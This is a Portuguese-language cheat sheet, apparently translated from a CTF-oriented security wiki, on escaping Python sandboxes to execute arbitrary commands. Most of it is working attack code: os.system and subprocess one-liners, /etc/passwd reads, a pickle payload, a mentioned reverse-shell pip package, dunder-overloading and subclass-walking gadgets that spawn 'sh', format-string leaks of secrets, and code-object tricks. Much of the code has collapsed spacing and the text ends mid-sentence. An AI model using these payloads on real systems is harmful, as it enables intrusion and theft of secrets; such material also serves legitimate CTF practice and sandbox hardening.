Estes são alguns truques para contornar as proteções de sandbox do Python e executar comandos arbitrários.
Bibliotecas de Execução de Comandos
A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se pode importar alguma destas bibliotecas:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Lembre-se de que as funções open e read podem ser úteis para ler arquivos dentro da sandbox do Python e para escrever algum código que você poderia executar para burlar a sandbox.
A função Python2 input() permite a execução de código Python antes do programa travar.
O Python tenta carregar bibliotecas do diretório atual primeiro (o comando a seguir irá imprimir de onde o Python está carregando os módulos): python3 -c 'import sys; print(sys.path)'
Burlar a sandbox do pickle com os pacotes Python instalados por padrão
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve descompactá-lo, alterar o setup.py, e colocar seu IP para o shell reverso:
Este pacote é chamado Reverse. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, então você não deixará nenhum pacote Python extra instalado no servidor ao sair.
Avaliando código Python
Observe que exec permite strings multilinhas e ";", mas eval não (verifique o operador walrus)
Se certos caracteres forem proibidos, você pode usar a representação hex/octal/B64 para burlar a restrição:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Outras bibliotecas que permitem avaliar código Python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operadores e truques rápidos
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassando proteções através de codificações (UTF-7)
No este artigo UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente:
Também é possível contorná-lo usando outras codificações, por exemplo, raw_unicode_escape e unicode_escape.
Execução Python sem chamadas
Se você estiver dentro de uma prisão Python que não permite fazer chamadas, ainda existem algumas maneiras de executar funções, código e comandos arbitrários.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE criando objetos e sobrecarregando
Se você pode declarar uma classe e criar um objeto dessa classe, você pode escrever/sobrescrever diferentes métodos que podem ser acionadossem a necessidade de chamá-los diretamente.
RCE com classes personalizadas
Você pode modificar alguns métodos de classe (sobrescrevendo métodos de classe existentes ou criando uma nova classe) para fazê-los executar código arbitrário quando acionados sem chamá-los diretamente.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
A coisa chave que as metaclasses nos permitem fazer é criar uma instância de uma classe, sem chamar o construtor diretamente, criando uma nova classe com a classe alvo como uma metaclass.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Criando objetos com exceções
Quando uma exceção é acionada, um objeto da Exceção é criado sem que você precise chamar o construtor diretamente (um truque de @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Mais RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Ler arquivo com a ajuda de builtins e licença
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Se você pode acessar o objeto __builtins__, você pode importar bibliotecas (observe que você também poderia usar aqui outra representação de string mostrada na última seção):
Quando você não tem __builtins__, não será capaz de importar nada nem mesmo ler ou escrever arquivos, pois todas as funções globais (como open, import, print...) não estão carregadas.
No entanto, por padrão o Python importa muitos módulos na memória. Esses módulos podem parecer inofensivos, mas alguns deles também importam funcionalidades perigosas dentro deles que podem ser acessadas para obter até mesmo execução de código arbitrário.
Nos exemplos a seguir, você pode observar como abusar de alguns desses módulos "inofensivos" carregados para acessarfuncionalidades perigosas dentro deles.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
Abaixo há uma função maior para encontrar dezenas/centenas de locais onde você pode encontrar os builtins.
Python2 e Python3
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Cargas úteis integradas
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globais e locais
Verificar os globals e locals é uma boa maneira de saber o que você pode acessar.
Abaixo há uma função maior para encontrar dezenas/centenas de locais onde você pode encontrar os globals.
Descobrindo Execução Arbitrária
Aqui eu quero explicar como descobrir facilmente funcionalidades mais perigosas carregadas e propor exploits mais confiáveis.
Acessando subclasses com bypasses
Uma das partes mais sensíveis dessa técnica é ser capaz de acessar as subclasses base. Nos exemplos anteriores, isso foi feito usando ''.__class__.__base__.__subclasses__(), mas existem outras maneiras possíveis:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Encontrando bibliotecas perigosas carregadas
Por exemplo, sabendo que com a biblioteca sys é possível importar bibliotecas arbitrárias, você pode procurar por todos os módulos carregados que importaram sys dentro deles:
Existem muitos, e nós só precisamos de um para executar comandos:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Podemos fazer a mesma coisa com outras bibliotecas que sabemos que podem ser usadas para executar comandos:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Além disso, poderíamos até mesmo pesquisar quais módulos estão carregando bibliotecas maliciosas:
Além disso, se você acha que outras bibliotecas podem ser capazes de invocar funções para executar comandos, também podemos filtrar por nomes de funções dentro das bibliotecas possíveis:
Isso é simplesmente incrível. Se você está procurando por um objeto como globals, builtins, open ou qualquer outra coisa, basta usar esse script para encontrar de forma recursiva os locais onde você pode encontrar esse objeto.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Se enviar uma string para o python que vai ser formatada, pode usar {} para aceder a informação interna do python. Pode usar os exemplos anteriores para aceder a globais ou builtins, por exemplo.
No entanto, há uma limitação, só pode usar os símbolos .[], então não poderá executar código arbitrário, apenas ler informação.
Se souber como executar código através desta vulnerabilidade, por favor entre em contato comigo.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Observe como você pode acessar atributos de forma normal com um ponto como people_obj.__init__ e elemento de dicionário com parênteses sem aspas __globals__[CONFIG]
Também observe que você pode usar .__dict__ para enumerar elementos de um objeto get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Algumas outras características interessantes das strings de formatação é a possibilidade de executar as funçõesstr, repr e ascii no objeto indicado adicionando !s, !r, !a respectivamente:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Além disso, é possível codificar novos formatadores em classes:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
Mais exemplos sobre exemplos de formatação de string podem ser encontrados em https://pyformat.info/
Verifique também a seguinte página para gadgets que irão ler informações sensíveis de objetos internos do Python:
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ e func_globals (Mesmo) Obtém o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seus conteúdos declarados:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ e func_code: Você pode acessar este atributo da função para obter o objeto de código da função.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Obtendo Informações do Código
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Observe que se não for possível importar dis no sandbox do Python, você pode obter o bytecode da função (get_flag.func_code.co_code) e desmontá-lo localmente. Você não verá o conteúdo das variáveis sendo carregadas (LOAD_CONST), mas pode deduzi-las de (get_flag.func_code.co_consts) porque LOAD_CONST também indica o deslocamento da variável sendo carregada.
Agora, vamos imaginar que de alguma forma você consegue extrair as informações sobre uma função que não pode ser executada, mas que você precisaexecutar.
Como no exemplo a seguir, você pode acessar o objeto de código dessa função, mas apenas lendo o desmonte você não sabe como calcular a flag (imagine uma função calc_flag mais complexa).
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Criando o objeto de código
Primeiramente, precisamos saber como criar e executar um objeto de código para que possamos criar um para executar nossa função vazada:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Dependendo da versão do Python, os parâmetros de code_type podem ter uma ordem diferente. A melhor maneira de saber a ordem dos parâmetros na versão do Python que você está executando é executar:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Recreando uma função vazada
No exemplo a seguir, vamos pegar todos os dados necessários para recriar a função a partir do objeto de código da função diretamente. Em um exemplo real, todos os valores para executar a função code_type são o que você precisará vazar.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypassar Defesas
Nos exemplos anteriores no início deste post, você pode ver como executar qualquer código Python usando a função compile. Isso é interessante porque você pode executar scripts inteiros com loops e tudo em uma única linha (e poderíamos fazer o mesmo usando exec).
De qualquer forma, às vezes pode ser útil criar um objeto compilado em uma máquina local e executá-lo na máquina CTF (por exemplo, porque não temos a função compile no CTF).
Por exemplo, vamos compilar e executar manualmente uma função que lê ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Se você não consegue acessar eval ou exec, você pode criar uma função apropriada, mas chamá-la diretamente geralmente falhará com: constructor not accessible in restricted mode. Portanto, você precisa de uma função que não esteja no ambiente restrito para chamar esta função.
O Python executado com otimizações com o parâmetro -O removerá as declarações de assert e qualquer código condicional ao valor de debug.
Portanto, verificações como
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")